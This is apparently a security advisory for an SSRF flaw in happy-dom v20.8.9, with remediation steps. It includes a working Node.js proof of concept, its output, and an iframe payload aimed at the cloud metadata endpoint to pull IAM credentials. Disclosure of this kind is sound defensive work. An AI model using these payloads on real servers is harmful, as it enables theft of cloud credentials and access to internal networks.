happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
By default, happy-dom has:
disableIframePageLoading: false — iframes fetch their src URL via real HTTP requestsdisableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requestsWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
<iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadataChange defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:06:42Z",
"nvd_published_at": null,
"severity": "HIGH"
}